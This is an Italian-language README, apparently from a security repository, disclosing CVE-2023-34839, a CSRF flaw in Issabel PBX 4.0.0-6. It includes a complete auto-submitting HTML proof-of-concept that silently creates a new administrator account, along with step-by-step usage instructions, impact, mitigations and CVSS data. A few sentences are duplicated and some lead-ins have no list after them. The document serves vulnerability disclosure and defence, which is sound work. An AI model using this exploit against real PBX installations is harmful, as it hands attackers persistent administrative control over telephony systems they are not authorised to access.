
CVE-2023-34839 è una vulnerabilità di Cross-Site Request Forgery (CSRF) scoperta in Issabel PBX versione 4.0.0-6, una piattaforma di comunicazione unificata open-source ampiamente utilizzata.
CVE-2023-34839 è una vulnerabilità Cross-Site Request Forgery (CSRF) scoperta in Issabel PBX versione 4.0.0-6, una piattaforma di comunicazione unificata open-source ampiamente utilizzata. La vulnerabilità risiede nell'endpoint di gestione degli utenti e consente a un attaccante remoto non autenticato di creare silenziosamente un nuovo account amministratore, inducendo un amministratore attualmente autenticato a visitare una pagina web appositamente predisposta.
Issabel PBX 4.0.0-6 non implementa protezioni CSRF (ad esempio, token sincronizzatore, attributi del cookie SameSite o validazione delle intestazioni Origin / Referer) sull'endpoint di creazione utente:
POST /index.php?menu=userlist&action=new
Poiché l'applicazione si basa esclusivamente sui cookie di sessione per l'autenticazione e non esegue alcuna validazione delle richieste che modificano lo stato, una richiesta POST contraffatta proveniente da qualsiasi origine verrà accettata ed elaborata con tutti i privilegi della sessione dell'amministratore autenticato.
Causa principale: Assenza di validazione del token anti-CSRF sugli endpoint amministrativi che modificano lo stato.
Classe di vulnerabilità: CWE-352 — Cross-Site Request Forgery (CSRF)
| Software | Versione | Stato |
|---|---|---|
| Issabel PBX | 4.0.0-6 | Vulnerabile ✔ |
Un attaccante può sfruttare questa vulnerabilità seguendo questi passaggi ad alto livello:
Non è richiesta altra interazione oltre a una singola visita alla pagina da parte della vittima.
⚠️ Solo per scopi educativi e test autorizzati.
Sostituirelocalhostcon il nome host o l'indirizzo IP dell'istanza Issabel PBX target.
Se si effettuano test contro un endpointhttps://con un certificato autofirmato, è necessario prima visitare l'URL target nello stesso browser e accettare l'avviso del certificato; altrimenti il browser bloccherà l'invio del modulo cross-origin.
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Il file exploit è disponibile anche in questo repository: CSRF Exploit.html
Navigare all'interfaccia web di Issabel PBX e accedere con le credenziali di amministratore.

Copiare il codice HTML del PoC sopra e salvarlo come file .html, sostituendo localhost con il nome host o l'indirizzo IP effettivo dell'istanza Issabel target.
L'exploit utilizza campi del modulo nascosti per inviare silenziosamente una richiesta POST di creazione di un nuovo utente all'applicazione. Quando la pagina viene caricata, il JavaScript incorporato invia immediatamente il modulo senza alcuna azione visibile da parte dell'utente.

Aprire il file HTML salvato nello stesso browser (in una nuova scheda) mentre la sessione dell'amministratore è ancora attiva. Il modulo verrà inviato automaticamente immediatamente dopo il caricamento della pagina.
Tornare al pannello Gestione utenti di Issabel PBX. Un nuovo account utente (in questo PoC, chiamato CSRF) sarà stato creato con pieni privilegi di Amministratore — senza alcuna interazione aggiuntiva oltre all'apertura della pagina exploit.

Lo sfruttamento riuscito di CVE-2023-34839 consente a un attaccante di:
Poiché l'account non autorizzato persiste anche dopo la fine della sessione della vittima, l'attaccante mantiene l'accesso a tempo indeterminato fino a quando l'account non viene scoperto e rimosso.
Gli amministratori e gli sviluppatori di Issabel PBX dovrebbero applicare le seguenti mitigazioni:
Implementare token Anti-CSRF: Generare un token unico, imprevedibile e legato alla sessione per ogni modulo che modifica lo stato. Validare il token lato server prima di elaborare qualsiasi richiesta POST.
Applicare SameSite=Strict o SameSite=Lax sui cookie di sessione: Questo istruisce i browser a non inviare cookie su richieste cross-site, prevenendo efficacemente gli attacchi CSRF classici nei browser moderni.
Validare le intestazioni Origin e Referer: Rifiutare le richieste la cui intestazione Origin o Referer non corrisponde al dominio previsto dell'applicazione.
Richiedere la ri-autenticazione per azioni sensibili: Richiedere all'amministratore di inserire la password corrente prima di consentire la creazione di nuovi account a livello di amministratore.
Applicare le ultime patch di sicurezza: Monitorare la pagina delle release di Issabel e il repository ufficiale per patch che risolvono questa CVE.
Questo repository è destinato esclusivamente a scopi educativi e a ricerche di sicurezza autorizzate. Le informazioni e il codice proof-of-concept forniti qui devono essere utilizzati solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta per testare. L'uso non autorizzato di questo exploit contro sistemi che non possiedi è illegale e può portare a procedimenti penali. L'autore declina ogni responsabilità per qualsiasi uso improprio delle informazioni contenute in questo repository.
| Campo | Valore |
|---|
| ID CVE | CVE-2023-34839 |
| Data | 23 Giugno 2023 |
| Ricercatore | Sahil Ojha |
| Fornitore | Issabel |
| Prodotto | Issabel PBX |
| Versione | 4.0.0-6 |
| Testato su | Windows |
| Metrica | Valore |
|---|
| Vettore CVSS v3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Punteggio Base | 8.8 (Alto) |
| Vettore d'attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Nessuno |
| Interazione utente | Richiesta (visita amministratore) |
| Ambito | Invariato |
| Riservatezza | Alta |
| Integrità | Alta |
| Disponibilità | Alta |